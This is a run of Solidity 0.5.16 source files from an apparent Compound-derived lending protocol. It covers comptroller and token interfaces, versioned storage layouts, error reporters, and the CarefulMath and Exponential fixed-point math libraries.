becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract CDelegateInterface { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } /*** External interface ***/ /** * @title Flash loan receiver interface */ interface IFlashloanReceiver { function executeOperation(address sender, address underlying, uint amount, uint fee, bytes calldata params) external; } pragma solidity ^0.5.16; /** * @title Careful Math * @author Compound * @notice Derived from OpenZeppelin's SafeMath library * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract CarefulMath { /** * @dev Possible error codes that we can return */ enum MathError { NO_ERROR, DIVISION_BY_ZERO, INTEGER_OVERFLOW, INTEGER_UNDERFLOW } /** * @dev Multiplies two numbers, returns an error on overflow. */ function mulUInt(uint a, uint b) internal pure returns (MathError, uint) { if (a == 0) { return (MathError.NO_ERROR, 0); } uint c = a * b; if (c / a != b) { return (MathError.INTEGER_OVERFLOW, 0); } else { return (MathError.NO_ERROR, c); } } /** * @dev Integer division of two numbers, truncating the quotient. */ function divUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b == 0) { return (MathError.DIVISION_BY_ZERO, 0); } return (MathError.NO_ERROR, a / b); } /** * @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend). */ function subUInt(uint a, uint b) internal pure returns (MathError, uint) { if (b <= a) { return (MathError.NO_ERROR, a - b); } else { return (MathError.INTEGER_UNDERFLOW, 0); } } /** * @dev Adds two numbers, returns an error on overflow. */ function addUInt(uint a, uint b) internal pure returns (MathError, uint) { uint c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); } else { return (MathError.INTEGER_OVERFLOW, 0); } } /** * @dev add a and b and then subtract c */ function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) { (MathError err0, uint sum) = addUInt(a, b); if (err0 != MathError.NO_ERROR) { return (err0, 0); } return subUInt(sum, c); } } pragma solidity ^0.5.16; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint); } pragma solidity ^0.5.16; import "./CToken.sol"; import "./PriceOracle.sol"; contract UnitrollerAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of Unitroller */ address public comptrollerImplementation; /** * @notice Pending brains of Unitroller */ address public pendingComptrollerImplementation; } contract ComptrollerV1Storage is UnitrollerAdminStorage { /** * @notice Oracle which gives the price of any given asset */ PriceOracle public oracle; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint public closeFactorMantissa; /** * @notice Multiplier representing the discount on collateral that a liquidator receives */ uint public liquidationIncentiveMantissa; /** * @notice Max number of assets a single account can participate in (borrow or use as collateral) */ uint public maxAssets; /** * @notice Per-account mapping of "assets you are in", capped by maxAssets */ mapping(address => CToken[]) public accountAssets; } contract ComptrollerV2Storage is ComptrollerV1Storage { enum Version { VANILLA, COLLATERALCAP } struct Market { /// @notice Whether or not this market is listed bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint collateralFactorMantissa; /// @notice Per-market mapping of "accounts in this asset" mapping(address => bool) accountMembership; /// @notice Whether or not this market receives COMP bool isComped; /// @notice CToken version Version version; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice The Pause Guardian can pause certain actions as a safety mechanism. * Actions which allow users to remove their own assets cannot be paused. * Liquidation / seizing / transfer can only be paused globally, not by market. */ address public pauseGuardian; bool public _mintGuardianPaused; bool public _borrowGuardianPaused; bool public transferGuardianPaused; bool public seizeGuardianPaused; mapping(address => bool) public mintGuardianPaused; mapping(address => bool) public borrowGuardianPaused; } contract ComptrollerV3Storage is ComptrollerV2Storage { struct CompMarketState { /// @notice The market's last updated compBorrowIndex or compSupplyIndex uint224 index; /// @notice The block number the index was last updated at uint32 block; } /// @notice A list of all markets CToken[] public allMarkets; /// @notice The rate at which the flywheel distributes COMP, per block uint public compRate; /// @notice The portion of compRate that each market currently receives mapping(address => uint) public compSpeeds; /// @notice The COMP market supply state for each market mapping(address => CompMarketState) public compSupplyState; /// @notice The COMP market borrow state for each market mapping(address => CompMarketState) public compBorrowState; /// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compSupplierIndex; /// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compBorrowerIndex; /// @notice The COMP accrued but not yet transferred to each user mapping(address => uint) public compAccrued; } contract ComptrollerV4Storage is ComptrollerV3Storage { // @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market. address public borrowCapGuardian; // @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing. mapping(address => uint) public borrowCaps; } contract ComptrollerV5Storage is ComptrollerV4Storage { // @notice The supplyCapGuardian can set supplyCaps to any number for any market. Lowering the supply cap could disable supplying to the given market. address public supplyCapGuardian; // @notice Supply caps enforced by mintAllowed for each cToken address. Defaults to zero which corresponds to unlimited supplying. mapping(address => uint) public supplyCaps; } contract ComptrollerV6Storage is ComptrollerV5Storage { // @notice flashloanGuardianPaused can pause flash loan as a safety mechanism. mapping(address => bool) public flashloanGuardianPaused; } pragma solidity ^0.5.16; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_FRESHNESS_CHECK, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_FRESHNESS_CHECK, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } pragma solidity ^0.5.16; import "./CarefulMath.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return truncate(product); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return add_(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function div_ScalarByExp(uint scalar, Exp memory divisor) pure internal returns (Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ uint numerator = mul_(expScale, scalar); return Exp({mantissa: div_(numerator, divisor)}); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function div_ScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (uint) { Exp memory fraction = div_ScalarByExp(scalar, divisor); return truncate(fraction); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } // implementation from https://github.com/Uniswap/uniswap-lib/commit/99f3f28770640ba1bb1ff460ac7c5292fb8291a0 // original implementation: https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint x) pure internal returns (uint) { if (x == 0) return 0; uint xx = x; uint r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint r1 = x / r; return (r < r1 ? r : r1); } } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } pragma solidity ^0.5.16; import "./CToken.sol"; contract PriceOracle { /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CToken cToken) external view returns (uint); }
